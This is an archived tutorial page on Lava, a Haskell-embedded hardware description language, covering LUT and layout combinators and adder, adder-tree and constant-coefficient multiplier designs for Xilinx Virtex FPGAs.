**Updated:**| _2/23/2012 9:46:52 PM_  
**Author:**| __  
**Tags:**| _hardware haskell_  
  

<img src='img/Temp2_8171.jpg' width='417' height='42' />

Satnam Singh  
<img src='img/Temp2_8166.jpg' width='110' height='19' />

1 October 2009.

Lava is an experimental system design to aid the digital design of circuits by
providing a powerful library for **composing** structural circuit
descriptions. Lava is designed to help specify the **layout** of circuits
which can improve performance and reduce area utilization. An implementation
of Lava for Xilinx's FPGAs can be found at Hackage and installed with "cabal
install xilinx-lava".

The following pages give a flavor of the Lava HDL and how it can be used to
describe circuits for implementation of Xilinx's Virtex family of FPGAs. These
pages assume a good understanding of Xilinx's Virtex FPGA architecture and of
the Haskell lazy functional programming language. The number of people that
know about both can easily fit inside a medium sized elevator. So it may be
useful to read A Gentle Introduction to Haskell if you are unfamiliar with
functional programming languages. Information about Xilinx's FPGA can be found
at http://www.xilinx.com. A detailed set of Lava tutorials are also available.

## Describing Netlists in Lava

Structural netlists are described in Lava by composing functions that
represent basic library elements or composite circuits. This is very similar
to the way the structural netlists are described in VHDL or in Verilog which
rely on netlist naming to compose circuit elements. Later we present
combinators which provide a much more powerful way to combine circuits.

Most hardware description languages provide a library of basic gates that
correspond to the Xilinx Unified Library components. Designers can build up
netlists by creating instances of these abstract gates and writing them
together. The implementation software maps these gates to specific resources
on the FPGA. Most logic functionality is mapped into the slices of CLBs. The
top half of a Virtex-II slice is shown below:

<img src='img/Temp2_8174.jpg' width='434' height='379' />

Lava provides a more direct way to specify the mapping into CLB, slices and
LUTs. Just like the Xilinx Unified Library the Xilinx Lava library contains
specific functions \(circuits\) that correspond to resources in a Virtex slice
e.g. muxcy and xorcy. However, instead of trying to enumerate every possible
one, two, three and four input function that can be realized in a LUT Lava
instead provides a higher order function for creating a LUT configuration from
a higher level specification of the requited function.

As an example consider the task of configuring a LUT to be a two input AND
gate. This can be performed by using the lut2 combinator with an argument that
is the Haskell function that performs logical conjunction written as &.

[code]

    and2 :: (Bit, Bit) -> Bit
    and2 = **lut2** (&) 
[/code]

The **lut2** higher order combinator takes any function of two Boolean
parameters and returns a circuit that corresponds to a LUT programmed to
perform that function. A circuit in Lava has a type that operates over
structures of the Bit type. The and2 circuit is defined to take a pair of bits
as input and return a single bit as its output.

Note that **lut2** is a **higher order** combinator because it takes a
function as an argument \(the & function\) and returns a function as a result
\(the circuit which ANDs its two inputs\). Indeed the **lut2** combinator can
take any function that has the type Bool -> Bool -> Bool and it returns a
circuit of type \(Bit, Bit\) -> Bit. The type of the **lut2** function is
similar to:

[code]

    lut2 :: (Bool -> Bool -> Bool) -> ((Bit, Bit) -> Bit)
[/code]

When Lava generates a VHDL or EDIF netlist for this component it will instance
a LUT with the appropriate programming information. Here is what the generated
VHDL for the and2 gate might look like:

[code]

     lut2_1 : lut2 generic map (init => "1000") 
              portmap (i0 => lava(5), i1 => lava (6), 
                       o => lava(4)) ;
[/code]

When realized in the top part of a slice as shown in the picture above this
gate would be mapped to the upper G function generator which will be
configured as a LUT.

As another example consider the definition of a three input AND-gate. First,
we define a function in Haskell that performs the AND3 operation:

[code]

    and3function :: Bool -> Bool -> Bool -> Bool
    and3function a b c = a & b & c
[/code]

The first line gives the type of and function as something that takes three
boolean values and returns a boolean value. The next line defines the
and3function in terms of the Haksell binary & function. Now we are in a
position to define a circuit that ANDs three inputs:

[code]

    and3 = lut3 and3function
[/code]

The general idea is that instead of trying to provide a library that tries to
enumerate some of the one, two, three and four input logic functions Lava
provides four combinators **lut1** , **lut2** , **lut3** and **lut4**. These
combinators take functions expressed in the embedding language \(Haskell\) and
return LUTs that realize these functions. This makes it convenient to express
exactly what gets packed into one LUT. Later we will see that these higher
order combinators are actually overloaded which allows LUT contents to be
specified in many different kinds of ways \(including an integer or a bit-
vector\).

Lava does provide a module that contains definitions for commonly used gates
mapped into LUTs. These include:

[code]

    inv = lut1 not
    and2 = lut2 (&)
    or2 = lut2 (||)
    xor2 = lut2 exor
    muxBit sel (d0, d1)= lut3 muxFn (sel, d0, d1)
[/code]

assuming the following functions are available in addition to the Haskell
prelude:

[code]

    exor :: Bool -> Bool -> Bool 
    exor a b = a /= b
    
    muxFn :: Bool -> Bool -> Bool -> Bool
    muxFn sel d0 d1 
      = if sel then
          d1
        else 
          d0
[/code]

To make a netlist that corresponds to a NAND gate one could simply perform
direct instantiation and wire up the signals appropriate just like in VHDL or
Verilog:

[code]

    nandGate (a, b) = d 
                      where 
                      d = inv c
                      c = and2 (a, b)
[/code]

Lava generates a netlist containing two LUT instantiations for this circuit: a
LUT2 to implement the AND gate and a LUT1 to implement the inverter. How many
LUTs are used to realize this circuit on the FPGA? If no information is given
about the location of these two circuits then the mapper is free to merge both
the LUT2 for the AND gate and the LUT1 for the inverter into one LUT. However,
if the inverter has been laid out in a different location from the AND gate
then the two components will not be merged. By default each gate is at logical
position \(0.0\). Since the description above does not translate the two sub-
circuits to another location they are understood to occupy the same function
generator location and will be merged into one LUT.

A partial list of some of the basic Virtex slice resources supported by Lava
is shown below:

[code]

    gnd :: Bit
    vcc :: Bit 
    fd :: Bit -> Bit -> Bit
    fde :: Bit -> Bit -> Bit -> Bit
    muxcy :: (Bit, (Bit, Bit)) -> Bit
    muxcy_l :: (Bit, (Bit, Bit)) -> Bit
    xorcy :: (Bit, Bit) -> Bit
    xorcy_l :: (Bit, Bit) -> Bit
    muxf5 :: (Bit, (Bit, Bit)) -> Bit
    muxf6 :: (Bit, (Bit, Bit)) -> Bit 
    muxf7 :: (Bit, (Bit, Bit)) -> Bit
    muxf8 :: (Bit, (Bit, Bit)) -> Bit
[/code]

## Layout in Lava

###  **The Lava Coordinate System**

Lava uses a Cartesian coordinate system with the origin at the bottom left
hand corner of the screen. A Lava design can have many independent coordinate
systems and each of these will be represented by an H\_SET in the
implementation netlist. The Lava coordinate system is designed to make it
easier to produce circuit descriptions that are portable between the Virtex
and Virtex-II architectures by abstracting as much as possible the CLB and
slice boundaries.

Circuits are conceptually enclosed in rectangular tiles which can be laid out
relative to each other. There are two kinds of tiles that Lava supports: \(a\)
two-sided tiles which communicate only along their left and right hand sides
and \(b\) four sided tiles that can communicate along all four sides of the
tile.

### Serial Composition

The serial composition combinator in Lava is written as **> ->** and it takes
two circuits as its arguments and returns a new composite circuit. This
combinator performs two distinct functions:

  1. Lava composes behavior by taking the output of the first circuit and connecting it to the input of the second circuit \(i.e. like mathematical functional composition but written the other way around\).
  2. Lava places the second circuit to the right of the first circuit. All circuits start off with their bottom left hand corner at location \(0,0\). By using layout combinators the relative locations of circuits can be modified. 

An example of **serial composition** is shown below for the circuit and2 >->
inv. The circuit and2 takes a pair of signals as its input and returns a
single output bit. This is illustrated in the diagram below:

<img src='img/Temp2_8179.jpg' width='190' height='181' />

The and2 circuit is realized in a two-sided Lava tile which means that signals
\(either inputs or outputs\) can occur on the left or right hand sides of the
tile but not the top or bottom. The inv circuit is also realized in a two-
sided tile. To make an NAND gate form these components all one needs to do is
to connect the output of one circuit to the input of the other circuit. This
task can be performed by the serial composition combinator without having to
name the intermediate signals.

However the serial composition combinator does more than just connect wires
together. Serial composition looks at the sizes of the circuits it has to
compose and it lays out one circuit directly next to the other circuit with
their bottoms aligned. For example consider the tiles containing the inv and
and2 gates which which each have size \(1,1\). The serial composition
combinator takes the output of the and2 gate and connects it to the input of
the inv gate resulting in a circuit that behaves like a NAND-gate. It also
places the inv gate to the right of the and2 gate so it ends up in location
\(1,0\). The composite NAND-gate circuit tile has size \(2,1\) as shown below.

  
<img src='img/Temp2_8186.jpg' width='441' height='504' />  

When Lava generates an EDIF netlist it translates its own coordinate system
into an appropriate coordinate system for the chosen target architecture. For
Virtex family devices it will generate relative location attributes using CLB
and slice coordinates. The and2 gate at Lava location \(0,0\) will be mapped
to R0C0.S1 \(the left hand slice of a CLB at relative location \(0,0\)\). The
inv gate will be mapped from the Lava location \(1,0\) to R0C0.S0 \(the right
hand slice of a CLB at relative location \(0,0\)\). The absolute location of
the circuit on the FPGA is left to the Xilinx placer. The corresponding layout
on a Virtex XCV300 FPGA is shown below \(captured from the Xilinx FPGA
Floorplanner\):

>  
>  <img src='img/Temp2_8161.jpg' width='437' height='353' />  
>
The and2 gate at Lava location \(0,0\) has been mapped into the upper LUT of
the left hand slice of the CLB at R32C1 i.e. R32C1.S1 \(the left hand corner
of this Virtex device\). The inv component has been mapped into the upper LUT
of the right hand slice in the same CLB i.e. R32C1.S0. Note that within the
slice the Xilinx tools are free to map to either the upper or lower LUT \(F or
G\). Lava coordinates can specify which logic should be mapped into a slice by
requesting either F \(y coordinate an even number\) or G \(y coordinate an odd
number\) in a **relative** coordinate system but the Xilinx mapper will decide
the actual mapping and absolute location. For the Virtex-II architecture Lava
generates slice-based coordinates.

**Parallel Composition**

The serial composition combinator is useful when we wish to compose and lay
out two circuits that communicate. Sometimes however we wish to lay out
circuits relative to each other which do not communication. One of the many
combinators that Lava provides for composing circuits in **parallel** is the
**par2** combinator. This combinator takes two two sided tiles and placed the
second tile above the first tile aligned along their left hand edges. An
example layout for the circuit **par2** inv and2 is shown below:

<img src='img/Temp2_8146.jpg' width='136' height='165' />

Any circuit or combinator that takes two inputs can be written as in infix
operator in Lava by enclosing the name of the circuit or combinator in back
quotes as shown above i.e. **par2** inv and2 is the same as inv \`**par2** \`
and2. The **par2** combinator produces a composite circuit that takes a two
element tuple as its input and returns a two element tuple. The first element
of the input tuple is the input destined for the first \(lower\) circuit and
the second element of the input tuple is the input destined for the second
\(upper\) circuit. The first element of the output tuple is the output from
the first \(lower\) circuit and the second element of the output tuple is the
output from the second \(upper\) circuit. The layout of the composite circuit
tile of size \(1,2\) in the Lava coordinate system is shown below.

<img src='img/Temp2_8143.jpg' width='441' height='504' />

The ** par2** combinator operates over just two circuits. Three or more
circuits can be composed by using **par2** as an infix operator but this
results in circuits with awkward tuple types. The **par** combinator takes a
list of circuits \(all of the same type\) and lays them out from the bottom to
the top:

<img src='img/Temp2_8170.jpg' width='163' height='208' />

Sometimes it is useful to apply the same circuit to every element of an input
bus. We can use the Haskell higher order map function and the Lava **par**
combinator to define a circuit combinator which performs exactly this task.
The Lava combinator that maps a circuit across a bus is called **maP** \(with
a capital P to it does not clash with the Haskell function map\) and is
defined as:

[code]

    **maP** r = **par** (repeat r)
[/code]

This combinator takes any circuit r \(which is considered to be a two sided
tile\) and replicates it as many times as there are elements in the input bus
and then layouts out these replicated circuits vertically. For example to
invert every bit on a bus one would write **maP** inv**** resulting in the
layout shown below:

<img src='img/Temp2_8141.jpg' width='82' height='269' />

Another use of maP is to vertically place registers across each element of a
bus. The basic register in Lava that corresponds to FD takes two inputs: the
clock and the D input signal. The circuit vreg registers each element of a bus
and is define as:

>
[code]

>     vreg clk = **maP** (fd clk)
[/code]

### Serial Overlay Combinator

A register fits in a tile of size \(1,1\). To describe an AND gate with a
register at the output we could use serial composition:

> and2Reg clk = and2 >-> fd clk
This produces the following layout:

<img src='img/Temp2_8181.jpg' width='308' height='261' />

Why is the register realized in the adjacent slice and not the slice
containing the function generator for the AND2 gate? This is because the and2
circuit occupies a tile of size \(1,1\) and the register also occupies a tile
of size \(1,1\) and when the serial composition combinator is asked to put one
tile next to the other that is exactly what it does. This results in the
register being realized in location \(1,0\). If this is not what is wanted
then a variant of the serial composition combinator can be used to compose two
circuits without translating the second circuit. This combinator is called the
**serial overlay combinator** and is written as **> |>**. The circuit and2 **>
|>** fd clk will realize both the and2 circuit and the inv circuit into
location \(0,0\) giving:

> <img src='img/Temp2_8167.jpg' width='292' height='248' />
Now the and2 gate and the FD register are realized in the top half of one
slice. Lava will always map and place circuits exactly in the way specified by
the layout combinators.

### Describing Non Left-to-Right Dataflow

The **> ->** serial composition combinator only composes circuits with a left
to right data-flow. There are three other serial compositions combinators that
describe right to left \(<-<\), bottom to top \(/\\) and top to bottom \(\/\)
serial composition. They are illustrated below:

<img src='img/Temp2_8176.jpg' width='391' height='177' />

## Four Sided Tiles

**Beside and Below**

To describe circuits that communicate on more than two faces of a tile Lava
also provides support for four sided tiles. A circuit can be put inside a four
sided tile if it has a type which takes a two element tuple as its input and
returns a two element tuple as shown below:

<img src='img/Temp2_8205.jpg' width='119' height='151' />

A four sided tile is divided into the input signal and output signal portions
by the gray diagonal line. The input to a circuit that fits into a four sided
tile must be a tuple \(a, b\) where the a signal is connected to the bottom of
the tile and the b signal is connected to the left of the tile. These signals
can be single bits or composite signals. The result type of a circuit that
fits into a four sided tile must also be a tuple \(c, d\) where the c signal
is connected to the right hand side of the tile and the d signal is connected
to the top of the tile.

To put one four sided tile below another four sided tile requires a new
combinator because these tiles do not have the appropriate types for the
**par2** combinator. Lava provides the below combinator for this task and the
picture below shows the circuit r**\`below\`** s:

<img src='img/Temp2_8187.jpg' width='124' height='207' />

The circuit r has the type \(e,b\) -> \(c, x\) and the circuit s has the type
\(x,e\) -> \(f, g\) and the composite circuit has the type \(e, \(b, e\)\) ->
\(\(c, f\), g\) where x is the type of the intermediate signal that r and s
communicate along. There is also a **beside** combinator that lays out s to
the right of r.

**Row and Col**

Four sided tiles can be replicated and composed to form columns and rows. The
**col** combinator tiles a circuit r vertically and forms connections between
the top and bottom faces of the tile:

<img src='img/Temp2_8188.jpg' width='97' height='341' />

The row combinator composes tiles horizontally from left to right and is based
on the **beside** combinator. Rows and column combinators can be used to
describe many interesting layout patterns and emulate layout grids which are
not four sided. Here is how a hex-connected grid might be described in terms
of four sided tiles:

<img src='img/Temp2_8192.jpg' width='396' height='252' />

## An Adder Example

### A Ripple Carry Adder Example \(using the Virtex Carry Chain\)

This section describes how to design a ripple-carry adder in Lava that uses
the Virtex carry chain. This component is widely used in many other Lava
examples. First we present how to describe a one-bit adder cell using the
regular netlist style. Then we use layout combinators to create a vertical
column of these cells that make up a carry-chain ripple-carry adder.

**A One-Bit Adder**

A one-bit adder can be accommodated in one half of a slice using just one
function generator as a LUT, one MUXCY and one XORCY. For this reason we will
describe the one-bit adder in netlist style. A schematic for a one-bit carry
chain adder is shown below.

<img src='img/Temp2_8203.jpg' width='287' height='144' />

A column layout combinator will be used later to tile several one-bit adders
vertically to make an _n_ -bit adder. Before we tile the one-bit adder
vertically we have to carefully consider which sides of the tile the signals
are connected to. We shall assume a left to right data flow with the two bits
to be added connected to the left hand side of the tile and the sum bit
appearing from the right hand side of the tile. Since the carry must flow
upwards in the Virtex architecture the cin signal must come into the bottom of
the tile and the cout signal must emerge from the top of the tile. This gives
the following four-sided tile orientation:

<img src='img/Temp2_8165.jpg' width='324' height='207' />

This four-sided tile represents a circuit with input \(\(a,b\), cin\) because
\(a,b\) is the left input and cin in the bottom input. This tile also has the
output \(sum, cout\) because sum is the right output and cout is the top
output. This fixes the type for this one-bit adder adder tile which can now be
described as a Lava netlist as follows:

[code]

    oneBitAdder :: (Bit, (Bit, Bit)) -> (Bit, Bit)
    oneBitAdder (cin, (a,b))
      = (sum, cout) 
        where 
        part_sum = xor2 (a, b)
        sum = xorcy  (part_sum, cin)
        cout = muxcy (part_sum, (a, cin))
[/code]

This is very similar to what one would write in VHDL or Verilog except that
the instance names are anonymous. Furthermore, the Lava description includes
information in the shape of the types that indicates which faces of the tile
signals occur and in what order. This is essential in order to compose tiles
using combinators which automatically glue together circuit interfaces and
layout out circuits in specific patterns.

**A 4-bit Carry Chain Adder**

To make a 4-bit adder all we need to do is to tile vertically four one-bit
adder tiles:

<img src='img/Temp2_8194.jpg' width='336' height='752' />

In a conventional HDL this can be described either by copying and pasting the
instantiating code for each one-bit adder and then naming intermediate nets
which cause components to be connected together to form the composite four-bit
adder netlist. Constructs like **for**...**generate** in VHDL help to capture
such repetition more concisely but internal nets still have to be named and
there is no information about layout. The Lava description of the circuit show
above is simply:

[code]

    **col** 4 oneBitAdder
[/code]

This is much more concise than equivalent conventional HDL descriptions. It
also includes information about layout: the first one-bit adder tile is at the
bottom and then the other are stacked on top of it in sequence \(RLOCs are
generated to enforce this layout\). Internal nets are anonymous and circuits
are composed automatically by taking the input from below and attaching it to
the carry input of the tile.

An example Virtex layout of a 8-bit adder generated by the expression **col**
8 oneBitAdder is show below:

> <img src='img/Temp2_8185.jpg' width='211' height='649' />
In Lava a parameterized n-bit adder can be defined as:

[code]

    adder :: Int -> (Bit, ([Bit], [Bit])) -> ([Bit], Bit)]  
    adder n (cin, (a, b))  
      = col n oneBitAdder (cin, zip a b)
[/code]

This parameterized adder function uses an integer parameter n to determine the
size of the adder. This controls how many one-bit adders are placed in a
column. Each one-bit adder is expecting a par of bits on its left edge. To
form the correct input for a column of one-bit adders we have to pair-wise
associate the two inputs vectors a and b. This is accomplished by using the
list processing function zip which has the Haskell type \[a\] -> \[b\] ->
\[\(a, b\)\]. For example:

[code]

    zip [1, 4, 9] [2, 13, 5] = [(1,2), (4,13), (9,5)]
[/code]

The use of zip in adder ensures that the nth bit of a is added to the _n_ th
bit of b.

A specialized version of the adder which has no carry in or carry out can
defined as:

[code]

    adderNoCarry :: Int -> ([Bit], [Bit])) -> [Bit]
    adderNoCarry n (a,b) 
      = sum 
        where 
        (sum, carryOut) = adder n (gnd, (a,b))
[/code]

This definition uses the gnd component to provide the carry in signal and just
discards the carry out.

A registered 4-bit adder can be made by composing the adderNoCarry component
and the vreg component using >|> \(the serial overlay operator\) to make sure
the adder and register share the same location:

> <img src='img/Temp2_8157.jpg' width='441' height='499' />
A parameterized _n_ -bit registered adder can be defined as:

[code]

    registeredAdder :: Int -> Bit -> ([Bit], [Bit]) -> [Bit]
    registeredAdder n clk = adderNoCarry n >|> vreg clk
[/code]

The Virtex layout produced for registeredAdder 4 is shown below.

> <img src='img/Temp2_8184.jpg' width='218' height='341' />
##  ** An Adder Tree in Lava**

###  A Carry Chain Adder Example

This section describes how to build an adder tree using the carry chain adders
presented in the previous section.

### A Recursive Layout

Consider the task of adding eight numbers n1, n2, .. n8 use a binary tree of
adders as shown below.

<img src='img/Temp2_8149.jpg' width='213' height='184' />

In a language like VHDL one can write a recursive function that takes an
unconstrained array of numbers as input and returns their sum computed with an
adder tree. However, there is no standard way in VHDL of specifying how the
adder tree should be laid out. Adder trees are typically pipelined and it
takes just one adder to be badly placed to degrade the performance of the
whole adder tree. Since Lava can specify how the adders are to be laid out the
design engineer can make decisions and calculations about intermediate wire
delays. One example layout scheme for a pipelined adder tree is shown below
\(the clock wires are now shown\):

<img src='img/Temp2_8202.jpg' width='270' height='126' />

This layout scheme places the adders in a row with the final addition
occurring in the middle. Both the left and right hand sides of the final adder
also contain adder trees in which the final sum occurs in the middle. This
recursive structure continues until the leaf additions are encountered \(e.g.
the adder for n1 and n2\).

### The middle Combinator

To help describe the idea of three components laid out horizontally with the
middle component receiving its inputs from its neighbors we introduce the
middle combinator middle r s t which gives the following layout:

> <img src='img/Temp2_8175.jpg' width='297' height='105' />
Note that this combinator produces a two-sided tile which has two inputs on
the left and one output on the right.

### Tree Circuits in Lava

Using the middle combinator we can define a tree circuit combinator for any
kind of two input and one output circuit:

[code]

    tree circuit [a] = a 
    tree circuit [a, b] = circuit (a, b) 
    tree circuit xs 
      = middle (tree circuit) circuit (tree circuit)(halve xs) 
[/code]

  1. The first line of this definition is used when a singleton list is given to the tree circuit. In this case the result is just the sole element of the list. 
  2. The second line is used when a two element list is used with a tree circuit. In this case the result is obtain by processing the two inputs with the circuit that is the first parameter of the tree combinator.
  3. In the third line case the middle circuit will be the parameterized two input and one output circuit and the left and right circuits will be recursively defined trees of this circuit. The input is halved with the first half going to the left sub-tree and the second half going to the right sub-tree.

A combinational adder tree with bit-growth can be made with the flexibleAdder
circuit. This circuit has the type \(Bit, Bit\) -> \(Bit\) so it is suitable
for use as an element of an adder tree. To define a combinational adder tree
one simply writes:

adderTree = tree flexibleAdder

It is possible to rewrite a call to the tree combinator to see how it works
for a particular circuit and input list:  

[code]

    **tree** flexibleAdder [i1, i2, i3, i4]
      = (**middle** (**tree** flexibleAdder) circuit (**tree** flexibleAdder)) (halveList [i1, i2,i3, i4]) 
      = (**middle** (**tree** flexibleAdder) circuit (**tree** flexibleAdder)) [[i1, i2], [i3, i4]] 
      = flexibleAdder (**tree** flexibleAdder [i1, i1], **tree** flexibleAdder [i2, i3]) 
      = flexibleAdder (i1+i2, i3+i4) 
      = i1+i2+i3+i4
    
[/code]

We can use the flexibleAdderFD circuit to make a pipelined adder tree:

adderTreeFD clk = **tree** \(flexibleAdderFD clk\)

The adders in this tree will use FD register components. An example layout of
four 96-input pipelined adder trees stacked upon each other is shown below on
a XCV300 part. The bit-growth in the adder tree helps to identify the
recursive nature of the layout.

<img src='img/Temp2_8156.jpg' width='458' height='267' />

The adder trees shown above sum 96 9-bit numbers each and with this layout the
circuit operates at 173MHz on a XCV300 at speed grade 6. If the layout
information is removed and the same netlist is placed and routed again the
maximum speed is 129MHz i.e. 34% slower. The graph below shows that specifying
layout had significant performance advantages. The blue bars represent the
speed of circuits with layout information and the red bars represented the
speed of the same netlist with the layout information \(RLOCs\) removed. Each
pair of bars corresponds to a target timing specification. The leftmost pair
of bars is for the case where the place and route tools were asked to meet a
timing specification of 180MHz but delivered 173MHz for the RLOC-ed circuit
and 129MHz without the RLOCs.

<img src='img/Temp2_8168.jpg' width='435' height='334' />

Providing layout information also speeds out the place and route times as
shown in the graph below. For the 180MHz timespec case the netlist with layout
took less then 400 seconds to route \(nothing needs to be placed\) but took
more than 1800 seconds to place and route without layout information.

<img src='img/Temp2_8201.jpg' width='435' height='334' />

The FPGA Editor view of the four placed adder trees is shown below.

<img src='img/Temp2_8178.jpg' width='435' height='292' />

Without the RLOCs the following implementation is produced:

<img src='img/Temp2_8182.jpg' width='435' height='292' />

The adder tree layout was easy to express in Lava and has produced significant
performance advantages. Many other tree layout schemes can be easily explored
in Lava. It is also very easy to make trees of other kinds of circuits like
multiplier etc. All one has to do is to supply such circuits to the first
argument of the **tree** combinator.

#  **A Constant Coefficient Multiplier \(KCM\) Core in Lava**

###  A Constant Coefficient Multiplier Example in Lava

This section describes how to build a constant coefficient multiplier \(KCM\)
for the Virtex family of FPGAs using a combination of table lookups and
additions. There are many other kinds of KCM: this one has been chosen to help
illustrate how to design with distributed memory components in Lava.

The architecture of this multiplier is based on performing many 4-bit \(or
smaller\) multiplications and then combining the results of these partial
products with a weighted adder tree. Optionally the adder tree can be
pipelined. The reason for performing 4-bit multiplications is that these can
be performed quickly with lookup tables \(since each LUT has four inputs\). A
specific multiplier generated by the Lava KCM core is shown below.

<img src='img/Temp2_8195.jpg' width='375' height='328' />

This KCM multiplies a 11-bit signed dynamic input A = a10 ..0 by a 11-bit
constant coefficient K. The multiplication AK is performed by composing the
results of several four-bit multiplications by exploiting the identity:

AK = -28 a10 ..8 K + 24 a7 ..4 K + a3 ..0 K

The rightmost table multiplies the lower four bits of the inputs by the
constant coefficient i.e. X = a3 ..0 K and the middle table computes Y = a7
..4 K where  both a3 ..0 and a7 ..4 are treated as unsigned numbers. The
leftmost table calculates Z = \(a10, a10, a9, a8\) K where \(a10, a10, a9,
a8\) is treated as a sign-extended bit-vector. To calculate the final results
the partial products Y and Z have to be appropriately weighted before addition
A weighted adder tree is used to compose the partial products and the size of
the intermediate adders is reduce by reading off directly the bottom four bits
of the partial product X and the result of adding the remaining bits of X to
Y. For the pipelined version of this multiplier Lava places registers on the
intermediate wires making sure to balance the delays.

The four-bit multiplications are performed by table lookups using distributed
memory \(i.e. LUTs\). In this case an 11 bit constant must be multiplied by a
four bit dynamic input which requires a table with a 15-bit output. This can
be easily made by using 15 four-input LUTs all with the same input. To avoid
unwanted mapper optimizations we use the ROM16X1 component to create a LUT
with specific lookup table contents.

Lava provides a family of functions that make it easy to create tables made
out of ROM16X1 components. One of the functions available from the Lava LUTROM
module is rom16x which will create a four-input n-output table from data
specified as a list of numbers.

lut16x :: \[Int\] -> \(Bit, Bit, Bit, Bit\) -> Bit

The code for a four-bit unsigned KCM in Lava is shown below.

[code]

    unsignedFourBitKCM :: Int -> [Bit] -> [Bit] 
    unsignedFourBitKCM coeif addr
      = rom16x maxwidth multiplication_results padded_addr 
        where 
        padded_addr = padAddress addr
        nr_addrs = length addr
        multiplication_results 
          = pad_width 0 16 [coeif * i | i <- [0..2^nr_addrs-1]]
        maxwidth 
          = maximum 
             (map unsignedBitsNeeded multiplication_results) 
    
[/code]

The first parameter to this function is coeif which is the constant
coefficient. The second argument is a bit-vector which is represented as a
list in Lava \(with the LSB as the first element\). To allow multiplications
by bit-vectors less then four bits in width this function pads out the table
with zero values for smaller multiplications. This is done by first forming a
table of the multiplication results i.e.

\[coeif \* i | i <\- \[0..2^nr\_addrs-1\]\]
which for an address less than four bits will have less than 16 elements. Then
the pad\_width function is used to add zero elements to end of the list to
bring the length of the list up to 16. The result is bound to the variable
name multiplication\_results which is examined to find the largest product
which in turn is used to determine how many output bits are required
\(maxwidth\). Now the product can be computed by by forming a 16 element table
with maxwidth output bits using the rom16x function. A singed four-bit KCM can
be built in a similar manner \(this time using sign extension on the input
bits\).

To make an unsigned KCM the following steps are taken:

  * The input bus is chopped into groups of 4-bits. This is achieved using the chop list function.
  * Each of these 4-bits is multiplied by the constant coefficient using the unsigedFourBitKCM circuit. This can be easily done by the expression **maP** \(unsignedFourBitKCM coeif\) which places the 4-bit KCMs on top of each other.
  * The results of each of these partial products has to be suitably weighted to allow them to be combined. This is done by zipping the partial products bus with the list \[20, 24, 28...\]
  * A weighted adder tree is used to sum the partial products. Combinational and pipelined KCMs will have different adder trees but we would like to abstract over this difference so that one generic unsigned KCM function needs to be written. This can be done by passing the required adder tree circuit as a higher order circuit.
  * The result of the weighted adder tree circuit is a pair which has 20 as the first element and the final product as the second element. Since we only want the product we just use the **snd** function to project it out.

Each of the stages described above is composed in series as shown below for
the case of a 12-bit dynamic input:

<img src='img/Temp2_8159.jpg' width='500' height='125' />

Since each unsignedFourBitKCM is long and thin it is better to lay them out
horizontally by using the horizontal version of the **maP** combinator called
**hmaP** :

<img src='img/Temp2_8147.jpg' width='500' height='135' />

This picture leads to the Lava definition of unsignedKCM shown below:

[code]

    unsignedKCM fourBitKCM adderTree coeif 
      = chop 4 >->
        hmaP (fourBitKCM coeif) >->
        insertWeights >-> 
        adderTree >->
        snd
[/code]

Note how the specific four-bit KCM circuit to be used is passed as a higher
order parameter. The unsignedKCM higher order circuit can be instantiated with
a specific four-bit KCM to make either combinational or sequential KCMs.
Similarly the adderTree circuit is passed as a higher order circuit. To make a
specific unsigned KCM we also need to specify exactly which adder tree circuit
to use. If we used a combinational weighted tree the resulting KCM would be a
combinational circuit. To help design a weighted adder we define a type that
describes the "virtual" signals that flow along the wires of a weighted adder.
The type WtNr is defined to be a tuple which contains a weight represented as
an integer and a bit-vector. These signals are called "virtual" because the
weight component is an integer which is only used during elaboration and does
not correspond to a wire in the circuit.

type WtNr = \(Int, \[Bit\]\)

The unsignedWeightedAdder circuit takes a pair of such weighted numbers and
returns a weighted number. This is expressed by the following type signature:

[code]

    unsignedWeightedAdder :: (WtNr, WtNr) -> WtNr
[/code]

This circuit assumes the first element of the input pair has a larger weight
than the second element. If this is not the case this circuit calls itself
again with the elements of the pairs swapped. This is achieved by using a
pattern match guard to ensure that the first input has a higher weight than
the second input:

[code]

    unsignedWeightedAdder 
      ((weight1 ,a1), (weight2,a2)) | weight1 < weight2
      = unsignedWeightedAdder ((weight2, a2), (weight1,a1))
    
[/code]

Otherwise unsignedWeightedAdder computes the difference between the two
weights to compute how many of the lower bits of the second input to pass
through. The remaining bits are then added to the first input to compute the
upper bits of the final sum. The weight of the result is the higher input
weight and the resulting addition is formed by composing the bit-vector from
the addition with the lower bits.

[code]

    unsignedWeightedAdder ((weight1,a1), (weight2,a2))
      = (weight2, lower_bits ++ part_sum)
        where
        weight_difference = weight1 - weight2 
        lower_bits = take weight_difference a2
        a2Upper = drop weight_difference a2
        part_sum = flexibleUnsignedAdderNoGrowth (a1, a2Upper)
[/code]

Putting these lines of code together produces the complete code for the
unsignedWeightedAdder circuit:

[code]

    unsignedWeightedAdder :: (WtNr, WtNr) -> WtNr
    unsignedWeightedAdder
      ((weight1 ,a1), (weight2,a2)) | weight1 < weight2
      = unsignedWeightedAdder ((weight2, a2), (weight1,a1))
    unsignedWeightedAdder ((weight1,a1), (weight2,a2))
      = (weight2, lower_bits ++ part_sum)
        where
        weight_difference = weight1 - weight2 
        lower_bits = take weight_difference a2
        a2Upper = drop weight_difference a2
        part_sum = flexibleUnsignedAdderNoGrowth (a1, a2Upper)
[/code]

To make a specific unsigned combinational KCM we just need to give a tree of
unsigned weighted adders to the unsignedKCM circuit:

[code]

    unsignedCombinationalKCM 
      = unsignedKCM unsignedFourBitKCM 
                    (tree unsignedWeightedAdder)
    
[/code]

To make a pipelined KCM we need to provide the unsignedKCM circuit with a
pipelined version of the four-bit KCM circuit and a pipelined version of the
weighted adder tree circuit. A pipelined version of the four-bit KCM just
places a register at the output of the lookup tables with a C clock input and
a CE clock enable input. This circuit is called unsignedFourBitKCMCE and is
easily defined as:

[code]

    unsignedFourBitKCMCE clk ce coeif
      = unsignedFourBitKCM coeif >|> vregE clk ce
[/code]

i.e. a combinational four-bit unsigned KCM serially composed \(by overlaying\)
with a register-bus with clock and clock enable inputs. An unsigned weighted
adder tree can be made by making a tree of unsigned weighted adders that have
their outputs registered in a similar manner. This allows a registered
unsigned KCM to be defined as:

[code]

    unsignedRegisteredKCM clk ce 
      = unsignedKCM (unsignedFourBitKCMCE clk ce) 
                    (tree (unsignedWeightedRegisteredAdder clk ce))
[/code]

Note how much of the commonality of the basic structure of the combinational
and pipelined KCMs has been captured by the unsignedKCM higher order circuit.

The layout produced for a pipelined unsigned 11-bit dynamic input and 11-bit
constant is shown below for a Virtex part.  

<img src='img/Temp2_8198.jpg' width='201' height='617' />

